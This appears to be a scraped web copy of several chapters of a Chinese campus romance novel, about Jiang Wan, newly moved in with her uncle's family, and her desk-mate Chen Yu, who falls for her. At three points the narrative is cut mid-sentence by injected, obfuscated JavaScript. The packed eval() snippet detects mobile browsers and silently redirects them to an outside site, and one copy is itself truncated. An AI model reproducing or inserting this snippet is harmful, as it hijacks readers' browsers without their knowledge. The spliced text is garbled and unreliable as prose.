“对,这不是你第一天上学嘛,该买点东西感谢你舅舅一家,要是没有他们,你不会有机会在这里读书,妈妈也不可能找到这么好的工作。” 是了,她们现在借住在舅舅家,除了姜挽的学校,就连沈曼的工作,也都是她舅舅托关系安排的。 姜挽没说什么,点了点头。 见她这样,沈曼似乎有些不大放心,继续叮嘱:“一会儿到家门口了,你把这些水果提着,进门的时候嘴巴甜点,主动和舅舅舅妈打招呼。我们现在借住在人家里,就算是亲戚,也该有分寸。” 沈曼说这些的时候,姜挽一直低着头,可即便是低着头,她也能想象到沈曼此刻忧心忡忡,又小心翼翼的样子。 酸涩间,姜挽不禁想到了她爸爸,她爸爸还在的时候,她从没见过沈曼这样。可就是两个月前那场突如其来的车祸,夺走了她爸爸的生命,也夺走了她们原本幸福的家庭。 沈曼也是从那个时候开始变的,变得精神脆弱,眉眼间总有一股散不去的哀伤,还有她那一夜间白了好多的头发。 姜挽半天没回答,沈曼还以为她不愿意,叹了一口气,放缓声音:“妈妈也知道你不愿意做这些,知道你心里委屈,可现在不是没办法吗?妈妈只有这个能力,如果不依靠舅舅家的话,连你的入学问题都解决不了,咱们在北城也根本没办法立足。” “可江城……” “你别跟我提那个地方!”很突然的,沈曼打断她,情绪变得激动又偏执,“那个地方我一辈子都不想再回去!我也不会允许你继续在那里读书!” 姜挽闭了嘴,她知道这是不小心又触到了沈曼的逆鳞,她不敢再提了。 自从他爸爸去世后,沈曼性情大变,任何人都不能在她面前提到姜承安,也不能提“江城”这两个字。就连当初离开江城回北城,也是她一意孤行的决定,谁劝都没用。 姜挽隐隐觉得她妈妈这样似乎有点问题,可又不知该怎么办。但她唯一知道的一点是,她不想沈曼不高兴。 两人此时已经来到小区楼下了,姜挽主动从她手中接过水果:“妈,你放心,我以后都不会再提了。” 走在前面的沈曼脚步顿了一下,可也没停留:“嗯,我也不是和你生气,你明白就好。” 到了门口,姜挽去敲门,虽然她们也有舅舅家的密码,可每次到家总还是要敲一下,直到里面有人应答,才会输入密码将门打开。 一进门,舅舅,舅妈,还有外婆全都坐在沙发上,见她们进来,舅舅打了个招呼,舅妈则是看了一眼便收回了视线。 “舅舅,舅妈,外婆,”姜挽记着沈曼刚才和她说的话,先打招呼,又忙将手中提着的水果放到茶几上,“这是妈妈买的水果,我去洗洗,你们尝尝。” 舅舅和外婆都没说话,见此,姜挽正要去,靠着沙发的舅妈却突然掀起了眼皮,懒懒开口:“不用了,你去冰箱看看,一大堆呢,还是你表哥从国外寄回来的,根本吃不完。” 她这么一说,姜挽便不知该怎么办了,洗也不是,不洗也不是,提着水果的指尖被勒出一道道红痕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448249|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上一阵火辣辣的灼热感。 沈曼赶紧出来打圆场:“还是楠楠懂事,在那么远的地方读书,还惦记着给父母买东西。” “是啊,而且买的还都是名贵品种,吃惯了进口的,谁还能吃得下这种普通的啊。” “哎呀,你就少说两句吧!”沈峰听不下去了,烦躁地朝谭镜瞪眼,“孩子的一片心意,你说这些干嘛!” 他转向姜挽,安慰似的开口:“去洗吧,洗了我们都尝尝。” 许是逃避,也是为了解脱,姜挽“嗯”了一声,便忙提着袋子进了厨房。 没多会儿,沈曼也跟着进来了,摸了摸她的头,用对待小孩子的那种方式来安慰她:“你舅妈没别的意思,她就是这样的性格,其实人不坏的。” 可她忘了,姜挽早已不是小孩子了。 对于别人的眼色,对方的情绪,她已经能够清晰准确地感知到了。所以她舅妈刚才到底有没有别的意思,她其实很明白。 但明白归明白…… 趁着水流,姜挽快速将自己眼睛里的酸涩咽了回去,故作轻松地开口:“嗯,我明白的,你放心吧,我不会放在心上的。” 她的话,沈曼信了,难得夸了她一句:“妈妈就知道,呦呦是个好孩子。” “呦呦”这个小名,还是她爸爸帮她取的,希望她像森林里的小鹿一样,一辈子无忧无虑。 可自从她爸爸去世以后,姜挽已经很久没听到沈曼这样叫她了。今天突然听到她这么叫,心头一时思绪万千。 像是经年的陈茶,又仿佛满地的香灰,喝进去,闻起来,都是绵长苦涩的味道。 姜挽知道,沈曼心里的难受,绝不会比她少。她做不了别的,能做的,就只能按照她的要求,尽量听话,不让她担心。 从厨房出来时,舅妈已经不在客厅了,只有舅舅和外婆还在,不过都是各自忙着自己的事情。 姜挽将洗好的水果端过去,舅舅尝了一口,礼貌性地夸赞了一句,倒是外婆还显得有几分兴趣,问她们是在哪里买的,贵不贵,让她们也多吃。 听外婆这样说,姜挽当然也高兴,可和沈曼一比,她的高兴就没那么明显了。 像是尘埃落定,又仿佛有所归依,一直以来的付出终于得到了肯定,除了高兴外,姜挽从她的脸上看到更多的还是欣慰和释然。 4. 第 4 章 次日清晨,姜挽刚起床,沈曼便已经将早餐准备好了。牛奶鸡蛋,再搭配从外面买回来的包子,虽简单,营养却也是够的。 “先去洗漱,洗完来吃早餐。”沈曼和她说话的时候,声音压得很低,舅舅他们还没起,也不和她们一起吃早饭,怕影响到他们,这些天她们早起时,都会尽量放轻动作。 “嗯。”姜挽乖乖进卫生间。 等她出来时,沈曼已经收拾好准备出发了:“我要来不及了,得先走了。厨房的东西我都收拾好了,你慢慢吃,吃完把这个盘子洗了就行。” 沈曼在一家小公司做会计,工作内容繁琐,公司对考勤要求非常严格,所以她一点也不能迟到,每天早上都是掐着点出门。 “我知道了,”姜挽咬着鸡蛋和她告别,“妈妈你路上慢点。” 沈曼离开后,姜挽迅速解决完了自己的早餐,然后洗净餐盘,收拾书包,轻手轻脚地从家里离开。 舅舅家到学校有直达的公交,姜挽出门早,这个点人还不多,一路畅通。到学校的时候,离早自习开始还有半个小时的时间。 教室里没人,她是第一个到的,以往在江城的时候她也是如此,会提前半个小时到教室。先复习昨天学习的知识点,再将今天要学习的内容提前预习一下,给它们排个序,等这些都做完,其他同学差不多也该到了。 陈屿是和孟云程一起进来的,猛一抬头,看见自己旁边的座位上坐着人,还有些不习惯。他旁边的这个位置,已经空了有一段时间了,之前坐着个男生,因为家庭原因转学了,后来班级里的座位一直没动,他也就一直没同桌。 姜挽是他这么长时间以来的第一个。 窗外晨光正好,透过层层叠叠的树叶照进来,在她的脸上和身上落下深深浅浅的光斑。陈屿注意到,她今天穿了校服,和昨天那套相比,清纯气一点没少,反而还多了几分书卷气。尤其是此时这个低头写作业的姿势,有种超脱现实的美。 他走过去,其实没想那么快叫她的,可没想到,姜挽却在他出现的那一刻,便“腾”的一下从凳子上站了起来,而且还立马侧身给他让了路。 那动作快的,说“惊慌”都不为过,整个过程,甚至都没敢抬头看他一眼。 陈屿纳闷,不觉拧眉,他有这么凶吗,把她吓成这样?还是说他长得不好看,太吓人了? 他这么一拧眉,姜挽更担心了,以为是自己起来得晚了,暗暗在心里想着,下次一定要再快一点。 没一会儿,姜挽前排的那个女孩也来了,就是孟云程昨天提到的尤伽。 孟云程很热心,还是和昨天一样,充当主介绍人的角色。和姜挽介绍完尤伽后,又和尤伽介绍姜挽,来来回回的,两个当事人基本没开口,就已经把对方的信息了解清楚了。 尤伽和孟云程不一样,看起来,性格倒是和陈屿有几分相似,酷酷的,不怎么爱说话。不过到底是女孩子,眼底没他那么强的冷意,打招呼的时候还是带着笑意的。 简单的寒暄过后,他们便各自进入了自习。 他们班,对早自习没有过多的要求,只要是学习,不管学哪一科,无论是读还是写,都由自己决定。 可即便是已经给了这么大的空间,今天的陈屿,还是什么都看不进去。 整整半个小时,他都在想一件事情,姜挽到底为什么那么怕他? 当一个人的正常思维已经没办法解答疑问时,他的行为便自然而然地就会开始剑走偏锋。 陈屿没有照镜子的习惯,身边自然也就不会戴着镜子,不过他想起来孟云程倒是有。 “喂,”他叫他,“把你镜子借给我用一下。” “什么?”周围有人在读书,孟云程没听清。 “镜子。”陈屿压低声音,又重复了一遍。 “哦,你说镜子啊,我不知道放哪了。”这什么话一到孟云程嘴里,声音立马就高了,陈屿担心姜挽听到,忙去看她的表情,好在她依然是维持着低头写卷子的动作,表情一点没变,他这才放下心来。 可在他不知道的地方,姜挽却悄悄眨了下眼睛,她虽对他们聊天的内容不感兴趣,却也觉得意外,没想到,陈屿一个看起来那么酷的人,平时竟然也有照镜子这样的爱好。 “没有你瞎咋呼什么。”陈屿埋怨了孟云程一句,说完把书立起来,明显是不打算再继续搭理他了。 孟云程却转个身,用手拨开他的书:“可是尤伽有啊,我能帮你拿到。” 果然,没过两秒,孟云程再次回身,手里拿着从尤伽那里要来的化妆镜,大咧咧地在陈屿面前显摆,“怎么样?” 陈屿不理他,伸手要接,可孟云程却躲开了,偏不给。 “?” “我要知道你用镜子干什么。以你的性格,怕是平时在家里都不照,这种事出反常的行为,必有妖!” “你管那么多呢!” 担心被姜挽看到,陈屿本来就觉得尴尬,这小子还这么大摇大摆地质问,他简直要被气死了。 陈屿干脆将书一推:“我不要了。” “不要了正好,”孟云程当即转身,“你今天不告诉我,我还真就不给你了。” 两个人都很干脆,谁也没再理谁。 姜挽虽没抬头,可他们两人的对话却是全程都听到了耳朵里。她没想到,陈屿这么冷酷的性格,竟然还能有吃瘪的时候。 意识到自己嘴角弯的弧度有些大了,她忙调整心态,将自己的注意力集中在了笔下的试卷上。 第一节和第二节都是英语课,接连两节一样的,一结束,大家都有些昏昏欲睡。可没想到就在这种思绪混沌的情况下,孟云程竟还记得早上陈屿和他要镜子的事情。 两人从操场回来的路上,他再次提起这茬:“我说,你那会儿要镜子,到底是为了什么?” 陈屿没想到他这么烦人,一个问题翻来覆去地问,刚想怼两句,突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人正走着,迎面突然看到姜挽的身影,孟云程捅捅陈屿的胳膊:“快看,你同桌。” “嗯。”陈屿囫囵应一声,他其实早看见了,只是别别扭扭的不好意思而已。 “我说,你同桌这长得也太好看了吧,就咱们学校这校服,穿上都能和定制的一样。你说,这种级别的美女,得有多少人追啊?” 陈屿本来还觉得他有眼光,可听到后面这句,脸色立马就变了:“你话怎么这么多?” “这不是你同桌嘛,关心关心。” “很用不着,”陈屿冷冷丢来一句,“再说,你这样,尤伽知道吗?” 果然,一提这个名字,孟云程就老实了,举起双手当即表示投降。他和尤伽这两年绕来绕去的,外人虽看不明白,可陈屿却知道,他是真心喜欢人家的,只是碍于面子还是什么的,一直没敢去追。 姜挽回到教室的时候,陈屿他们还没回来,桌面上他的书摆放得很随意,一半在他自己的桌上,另一半占着她的桌面。 要是平时,她也就不动了,反正她也不需要多大的位置,够用就行。可这会儿她要写卷子,必须得拿开。 四周看了看,好像他还没回来,姜挽伸出指尖,轻轻把他的书往里推了推,推完又觉得太明显了,扯回来一小截才放心。 5. 第 5 章 接下来两节分别是数学和语文,上午的课程结束,便是午饭时间。八中有自己的食堂,除少数离学校近的学生中午会回家外,大部分人还是会选择在食堂解决午饭。 陈屿习惯和孟云程一起吃午饭,有时也会带着尤伽,只是今天她有事耽误了,让孟云程帮她打包。 吃完饭,他们往外走,恰巧碰上相熟的同学,孟云程要过去打招呼,陈屿本来也打算去的,可眼神一瞥,忽地注意到不远处姜挽的身影,便随便找了个理由推脱了。 从食堂出来,陈屿一路跟着姜挽,和她始终隔着一段不远不近的距离,看她穿过走廊,来到教室,再朝座位走去。 陈屿走得快,这个时候他其实已经差不多快要赶上姜挽了,他要是想回座位,现在叫住她,在她坐下之前先进去,是最方便的办法。 可他偏偏却没有,硬是等到她在座位坐下,看着她收拾完桌子,再趴下休息,才慢慢晃悠着朝座位走去。 这会儿的教室里没什么人,偶有几个也都是趴在桌上休息或者低头写作业的。阳光从东窗外照进来,耳边有笔尖落在纸张上的“沙沙”声,所有的一切显得静谧又恬静。 陈屿在姜挽课桌旁站定,抬手敲了敲,趴在桌上的女孩便立马抬起头来。可能是因为刚起来,还有些没反应过来,愣愣地看着他。 也正是因为她这个仰视的动作,让陈屿发现她眼睛长得非常漂亮。之前几次不是低着头不敢看他,就是匆匆一瞥,倒是这次的愣神,让他看清了她眼睛的形状。 眼角尖尖,有些微垂,偏偏眼尾又带着几分上挑,睫毛长而卷曲。阳光下,衬得她眸色很淡,像琥珀,又好似松脂。 她现在不笑的样子,看起来有些冷,但陈屿也不难想象到这双眼睛笑起来的样子,可能像拱桥,或许更像一弯小小的新月。 莫名的,他觉得喉咙有些不舒服,像被人拿羽毛刺挠着,那种碰不到,抓不住的感觉,撩得他心躁。 两人就这么对视了几秒,最后还是姜挽先反应过来:“你要进去吗?”说完,她朝旁边侧身。 “嗯。”陈屿有些不自然。 说完这个字,他也没有其他的话了,默默在心里骂自己怂。本来追着人家回来,故意等到人家趴下再叫她,费劲巴拉地绕这么大一圈,就是为了多和人家说两句话的,可真正到眼前了,却又不知该如何开口了。 带着一股子憋闷,陈屿朝里走,两个人的距离实在太近,擦身时,姜挽的校服衣摆不小心碰到了他的手臂,她连忙道歉:“不好意思。” “没事。” 陈屿虽这样说,可却感觉被她衣摆碰到的地方僵硬得厉害,这感觉直到他坐下也没缓解多少,好半天了,手指还悄悄在桌下做着曲展运动。 手上的动作没停下,脑子里也全都是些刚才的画面,准确来说,全是关于姜挽的画面。 她趴着的样子,她微怔的样子,还有刚才不小心碰到他,那个惊慌的样子。陈屿其实并没有刻意记,可不知道为何,这些小细节,这些画面,这会儿就像电影放映似的,在他脑海里不停地来回播放。 他想得太认真,以至于孟云程回来时,都没意识到。前排的座椅忽地晃动,熟悉的声音响起:“想什么呢?这么认真,该不会是在想哪个女孩吧?” 陈屿板着脸,与其说是生气,不如说是尴尬更为合适,他也没想到,这小子这么能猜他的心思,一猜一个准儿。 “你一天天的怎么这么多话,有这心思,怎么不多关心关心自己的事情?” “你以为我不想?”孟云程朝他耸肩,在尤伽看不见的地方,悄悄指了指她,那意思很明显,是说他也没办法。 他这样说,陈屿反倒有几分同情他了,神色缓了些,推了推他的胳膊,破天荒地提醒他:“待会儿下午第一节是化学,要做实验,还会评分,你赶紧去看看操作流程吧。” 听到这,孟云程猛地一拍脑门:“哎呀,我怎么把这件事搞忘了,哥们,谢了。”说完,他双手抱拳,迅速转了身。 化学实验,姜挽以前在江城的时候也经常做。她胆大心细,又有耐心,在这种手工操作的实验上,经常都是第一名。 化学老师是个小老头,细长脸,尖下巴,脸颊两侧的皮肤布满了褶皱,嘴角始终绷着,一副不言苟笑的架势。 试管,烧杯还有试剂,一排排整整齐齐地摆放在课桌上,他要求他们两人一个小组,和自己的同桌搭配,完成今天的实验。 姜挽坐在外侧,见其他小组已经有代表上去领工具了,她虽有些犹豫,可还是开了口:“那个,我坐在外面,要不还是我上去领东西吧?” 陈屿有些恍惚,这还是她第一次主动和他说话,具体说的什么没听清,只是听到她的声音,看到她的脸,心里就好似被什么东西牵着似的,昏昏沉沉的没了方向感。 “你没意见吧?”眼见着其他小组基本已经拿完了,姜挽又问了一遍。 “嗯。”什么意见的,陈屿也没听清,胡乱应了一声,等看到她起身,径直朝讲台去拿东西,才反应过来,心里暗自后悔,这种事不应该让她去,应该他自己去的。 果然,有人比他更看不惯他的这种做法。孟云程的挖苦,虽迟但到。 “陈屿,你真行!这种事情你竟然让女生去,你一个大老爷们坐在这里等着,真是一点不懂怜香惜玉,道德沦丧!” 陈屿也觉得不大好意思,刚想解释两句,没想到前头的尤伽突然开口了,是冲着孟云程:“你还有心思管别人,还不快来看看,这些道具我摆弄不明白,流程也看不懂,这实验没法做了。” “来了。”孟云程立马转身,哪里还有刚才半分气横的样子,低眉顺眼,小心翼翼,活脱脱一个狗腿的形象:“哪里不懂,我看看。” 陈屿简直不忍直视…… 很快,姜挽回来了。因为刚才她去拿东西的事情,他心中有愧,也是考虑到她是女生吧,想着待会儿实验中有任何涉及到危险的动作,都由他来操作。 可没想到,实验从一开始,姜挽便展现出了超强的专业性,无论是试管清洗放置,还是液体滴落混合,她做的,竟是一点毛病都挑不出来。 沉着冷静,井井有条,每一步她都是严格按照书上的指导来,且每一次出来的结果,几乎也都和书本上的一模一样。到最后,几乎演变成了全程都是姜挽在做,而他反倒成了那个记录实验数据的人。 这是个有能力,不矫情的姑娘,从她低垂的眼睫和纤细的下颌骨便能看出。陈屿以前没接触过这种,他也没料到姜挽是。 心中暖暖的,好似滑过一股热流,除了一开始因为她外表的缘故外,这 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这个早在第一次见面时就该完成的介绍环节,因为各种各种的原因,推迟到今天才完成。不过好在夏日仍在,一切都刚刚好。 时间才过一半,他们的实验便已经全部完成了,收拾好器具,再最终确认一眼数据,大功告成! 毫无疑问,他们这组是第一名。 孟云程凑过来求指导,陈屿简单和他说了两句。姜挽没过去,数据提交前,她注意到右下角的地方还需要写上小组成员的名字。在那里,她特意将陈屿的名字写在了自己前面。 这节课间,孟云程很明显地感觉到陈屿的心情不错,连之前一直让他买的那款冰激凌,他今天二话不说,就帮他买了。 还有各种各样的零食…… 这何止是大方,简直就是在撒钱啊! “你小子今天怎么回事?心情这么好,是不是遇到什么好事了?”孟云程吃着人家的,还不忘打听陈屿的八卦。 陈屿睨他一眼,懒懒丢出一句:“你猜。” 表情虽绷着,可那嘴角的笑意却掩盖不住。 “卧槽,不是吧,你真这么高兴?”孟云程爆粗口,“让我来猜猜,别告诉我是因为你们刚才的化学实验得了第一名?” 陈屿淡笑:“犯得着吗?” “那是又有人和你表白了?” 陈屿嘴角抽了一下:“傻逼。” “那就是你妈给你涨零花钱了,所以你今天才会舍得请我吃这么贵的冰激凌!” 这次,陈屿干脆不理他,直接走了。 孟云程追上来,伸手搭上他的肩膀:“我猜对了,猜对了,是不是?我就知道你不会无缘无故请我的。哥们,你真够意思,这叫有福同享啊,你放心,等我以后发达了,一定不会忘记你的。” 陈屿嫌弃地将肩膀上的那只手扒掉:“你还是先考虑考虑眼前的事吧。马上摸底考试了,成绩出来,你要是还和之前一样的名次,免不了要被数落。” 一提到这个,孟云程脸色就不好了,嘴角耷拉下来:“靠!你提这个干嘛,纯心让我不高兴吗?我妈说我,尤伽说我,现在连你也来说我!” 孟云程话多,有时候唠叨起来,陈屿都害怕,他举起双手,做出一个“无意冒犯”的姿势,孟云程这才消停。 6. 第 6 章 新学期,入学两周内进行摸底考试,这是八中一直以来的规定。自从上次陈屿和孟云程提到这事后,他就一直紧绷着,时间长了,实在是觉得不堪重负,便想着把这压力释放出去。 陈屿他是惹不起的,这家伙常年年纪第一,找他,除了徒增压力外,再不会有任何效果。尤伽他也不能找,虽说她的成绩不如陈屿那般靠前,可还是甩他一大截。 思来想去,孟云程便把主意打到了姜挽身上,这姑娘刚来,而且看起来柔柔弱弱的,也不像是十分能够承担压力的样子。 借着课间的机会,他和姜挽攀谈:“马上要摸底考试了,你知道不?” 姜挽点点头:“听班主任说过。” “那你怎么想的?紧张不?有压力不?” “还好。” 她很淡定,这和孟云程想的完全不一样。 他原本是想着姜挽回答说压力大,然后他顺势也表达自己的心情,这样他们两个同病相怜,就有共同吐槽的话题了。 谁知,姜挽这一句“还好”,上来便将他的后话全都堵死了。 像是不死心,孟云程接着追问:“陈屿常年霸榜年纪第一,和他做同桌,你肯定也觉得有压力吧。”他指指姜挽手上的试卷,“不过你也不用紧张,别绷太紧哈,正常发挥就行,反正不管怎么努力,也没人能考得过他。” 姜挽哪里知道他的小心思,还以为他真是来安慰她的,点点头,一副受教的态度:“好的,我知道了。” 她不明白,可有人明白啊,旁边的陈屿实在是听不下去了。 刚开始他还觉得,能听到姜挽的声音还挺开心的,虽然和她说话的那个人并不是他。可越听越不觉得不对劲,人家明明挺淡定的,孟云程这货是硬要给人家增加压力呢。 陈屿觉得烦,刚想开口刺挠孟云程两句,却没想到有人比他速度还快。 “孟云程,你能不能消停会儿!”尤伽一个眼神扫过来,孟云程立马老实了。 “我也是好心嘛。” “是吗?你怕是只会影响到人家吧?”尤伽怼起人来,一点情面不留,“姜挽一看就是学霸类型的,你和人家根本就不在一个级别,用得着你在这儿给人家做心里建设呢?” 孟云程被怼,不仅不生气,反而还异常贴心地给尤伽递水杯:“你别生气,我不说就是了。” 尤伽拂开他的胳膊:“懒得搭理你。” 说罢,她又朝姜挽开口:“你千万别被他影响啊,他这人就是这样,话太多,你别介意,按自己的节奏来就行。” “不会,”孟云程话多,姜挽也不是第一天知道了,她不是一个性格热络的人,有时候还就挺喜欢听别人说话的,“没关系的,他说的也有道理。” 这些天,因为陈屿和孟云程的关系,姜挽和尤伽的接触也多了不少。次数多了,她发现,尤伽虽然外表看起来冷冷的,性格其实很火辣,直来直去的。 姜挽也不喜欢拐弯抹角,所以两人相处起来,意外地合拍。 尤伽又数落了孟云程几句,他都一一受着,很快上课铃声响,他们二人这才转了过去。 这节是数学,姜挽正要拿书,她的书本习惯性放在靠近陈屿的那侧,手刚搭上去,却发现另一头被陈屿压住了。 “怎么了?”他这动作实在是突然,姜挽没反应过来。 陈屿垂眼看着她,正午的阳光落在他深邃的眉眼处,投下一小片浅浅的暗影。光影变幻,更衬得他眼眸清亮:“别担心,摸底考试不难,你没问题的,别听孟云程瞎说。” 他这是在安慰她? 微风乍起,送来一阵清香。 像清新的柠檬伴着水汽,又仿佛淡淡的薄荷参杂芳香,是夏日的味道,也是阳光的味道。 姜挽愣了愣,这才反应过来,那味道是从陈屿身上飘过来的。 她莫名觉得脸热,低声回了一个“嗯”字,继而快速从他手中将课本抽了回来。 话虽这样说,可姜挽近日的学习强度还是增加了不少,她自认自己不属于天资聪颖的那一类,想要取得成就,就只有不断的努力和付出。 摸底考试是在两周后的一个周四进行的,又过了一周的时间成绩才全部出来。 这种事,孟云程最积极,永远都是冲在第一位,他不仅看自己的,还要看陈屿和尤伽的,当然这次还多了一个姜挽。 很快,不到一分钟吧,他便回到了座位,随着他回来的,还有他那满天飞的粗口:“卧槽!卧槽!真的假的啊?真是太他妈震撼了!” 陈屿拧眉瞪他,平时他们两个在的时候,他说说也就罢了,这会儿姜挽也在旁边,他就格外介意:“你能不能好好说话?” 他以为孟云程是惊讶他的成绩,谁知这小子竟然径直略过他,朝着姜挽去了:“不是吧,姜挽,你深藏不露啊!你知道你这次考试第几名吗?第二!班级第二!年纪也是第二!只比陈屿那小子少了7分!” 姜挽还没说什么呢,反倒是一旁的尤伽比她更激动:“啊——真的吗?我要去看看!” 随着尤伽一阵风似的跑过去,又一阵风似的跑回来,她的反应比刚才的孟云程还要夸张:“第二!真的是第二哎!和陈屿只差了7分!我就知道我没看错,你一定是个学霸!我决定了,以后就跟着你混了!” 他们这样咋咋呼呼的,其他同学的眼神都聚焦过来了,姜挽有些不好意思,忙拉着尤伽在凳子上坐下。 “我怎么感觉你怎么一点都不激动呢?这可是第二,年级第二啊!”尤伽人坐下了,可声音却没有。 姜挽确实不怎么激动,她以往在江城的时候都是年级第一,到了这,只能说陈屿太厉害了。 “第二,毕竟也不是第一嘛。” “其实你这个第二,就相当于是第一了,排名这块,可以直接把陈屿排除掉,因为他根本就不是人。”话出口,尤伽立马就感觉到不对,果然她视线一转,便当即对上了一道冰冷的目光。 是陈屿。 他正靠着椅背,指尖懒散地转着笔,眼神凉凉地朝她看过来。 尤伽连忙解释:“你不要误会,我不是这个意思,我是想说你是神,在学习这方面就是神。” 陈屿没再看她,将视线收了回来,他本来也没打算和尤伽计较。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448252|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过对于姜挽这个第二名的成绩,他也是觉得惊讶的。 惊讶之余,还掺杂着一些其他的情绪,像自豪,又仿佛骄傲,比他自己得这个第一名还要骄傲。虽然他也不懂自己在骄傲个什么劲。 几人说说笑笑,插科打诨,最后孟云程突然反应过来,这样一来,他不就又成了成绩最差的那位,没人陪他垫底了? 他心情不好,一点得姜挽请客才能缓解。 姜挽爽快地答应了,这些日子,他们明里暗里地都给她带了很多东西,她也早想找个机会回请他们了。 “那你们是想吃东西?还是喝奶茶呢?” “你和尤伽决定吧。”建议虽然是孟云程提的,可最后做决定他还是交给了她们。 姜挽看向尤伽,尤伽想了想,开口:“奶茶吧。” “好,没问题。” 姜挽起身要去买,突然被陈屿拦下,他没碰她,只是在她准备起身时,伸手拉了一下她的凳子。 “我还是第一名呢,你怎么不让我买?”这话,他明显是对着孟云程说的。 “你次次第一,年年第一,一点新意都没有,让你请,有什么意思?”孟云程理直气壮地回他。 “那也不行,我是第一名,就该我请。哪有第一名不请,反而让第二名请的道理。”陈屿很坚持。 “卧……”孟云程忍不住又要爆粗口,对上陈屿的眼神,话在嘴里转一圈,又咽了回去,换了一种比较文雅的方式,“你今天是不是吃错药了?这也争?平时也没见你这么积极过!” 陈屿不搭理他,转身对上姜挽,眼神立刻变了:“想喝什么?” 情节转变得这样快,姜挽也没想到:“刚才不是说我……” 陈屿打断她,语调懒散:“着什么急,以后有你请的机会。” 姜挽一想,觉得也对。这次毕竟他是第一名,凡事都有个先后顺序,她也不好抢了他的风头。 “那好吧,这次你先请。” 孟云程一看这两位主要人物都商量好了,他也就没什么说的了,眼神犀利地盯着陈屿:“我要喝最贵的!尤伽也要喝最贵的!” 陈屿看都不看他,依旧追问姜挽:“你想和什么?” “我随便,都行。” “那就和他们选一样的吧,免得挑来挑去的麻烦。” “嗯,好。” 陈屿起身走了,姜挽这才反应过来,和他们一样的,那不就也是最贵的吗? “那个……” 她想叫住陈屿,孟云程看出了她的心思,拦下她:“没事,他钱多的很,根本花不完,一顿奶茶没什么的。” “可是……” 她还想说些什么,这次开口的是尤伽:“这次我站孟云程,你放心,陈屿根本就不在乎这些。” 诚如孟云程和尤伽所言,陈屿根本不差钱,他不仅挑了最贵的,还一口气让店家将所有的口味都做了。 不为别的,就想姜挽多尝几个味道。 等他双手提得满满当当回来时,姜挽都惊呆了。以至于,那天的奶茶口味她没记得,倒是对陈屿的“壕气”,有了新的认识。 7. 第 7 章 针对陈屿这个“买了所有口味”的骚操作,孟云程也是十分不解。他一路调侃,从学校到家里,从口头到微信,孜孜不倦,乐此不疲。 这种情况,直到陈屿洗完澡躺在床上,还在继续。微信里,孟云程仍然在发消息,只是速度变慢了,但陈屿根本不看,他这会儿心思压根不在这上面。 指尖滑到白日里的那张成绩排名表上,点击,再放大,他将自己的名字和姜挽放在同框。无关乎排名,也不在意分数,只看两个名字之间的距离。 似乎这样做,他和她之间的距离就能缩短不少。 手机突然响,是孟云程打来的电话,陈屿觉得烦,直接挂掉了。奈何那小子不死心,接二连三地再次打来。 陈屿无奈,只得接起,语气很淡:“你这一天天的怎么这么闲,就没点别的事吗?” 孟云程嘿嘿直笑,一点也不介意他的恶劣语气:“还真让你说对了,我就是很闲,你猜我刚才碰见谁了?” 他说话时能听见风声,应该是在外面,陈屿对这些一点兴趣都没有,压着脾气叮嘱他:“我没兴趣,打算睡觉了,你也早点回去吧。” “你真不想知道?和你也有关系噢。” “不想,我挂了。” 眼见着他要挂电话,孟云程急了,也顾不得卖关子了,当即和盘托出:“好吧,我告诉你,我刚才碰见姜挽了,你同桌!” 听到这个名字,陈屿瞬间便从床上坐了起来,动作太急,脑袋不小心撞在床头柜上,发出“咚”的一声响。 他顾不得揉脑袋,忙追问:“你说谁?” “姜挽啊,你同桌,她好像和她妈妈一起吧。还真是巧,没想到她也住在这个小区。” 咚咚的,陈屿能听到自己心跳的声音。 知道她的住址,离她又近了一步,这可比成绩单上的幻想来得要真切多了。 为了掩饰自己的高兴,他故意轻“嗤”一声,懒散开口:“你就胡扯吧,哪有那么巧。” 孟云程最受不得激,当即便要证明自己:“就知道你是这种人,好在我刚才拍了照片!你现在就看微信,我立马给你发照片,看看我到底有没有胡扯!” “有你就发呗。” 嘴很硬,可心却在颤抖。陈屿因为太紧张,以至于点开孟云程发过来的图片时,指尖也跟着有些抖。 是一张偷拍,角度和光线都很差。可即便是在这种条件下,隔着夜色,透过昏黄的路灯,他还是一眼就认出了姜挽。 她没穿校服,打扮类似报到那天的短T和牛仔裤。孟云程拍的照片里,她正在伸手够着什么,更衬得那一双细腿笔直纤长,身姿亭亭。 “现在相信我了吧?”孟云程还在电话那头吆喝。 “嗯。”陈屿随便应付着他,在姜挽的图片那里默默长按,点击了保存。 “信我就对了,我本来就是靠谱的人,你以前就是误会我了,以后对我尊重点。”孟云程逮着机会便开始得瑟,也不管陈屿听不听。 陈屿和他认识这么久,早习惯了,也不怎么搭理他,知道一会儿他自己说累了,就会挂了。 果然,没多久,孟云程的电话便挂断了,只是陈屿这头因他挑起的涟漪却久久不能平复。 次日放学,陈屿便找了个理由,说要去孟云程家附近逛逛。 “放学你不回家,你跟着我干嘛?”孟云程觉得疑惑,拎起书包来到路边打车。他家境不错,平日里基本都是他爸安排司机来接,偶尔几次司机没来,也都是打车回去。 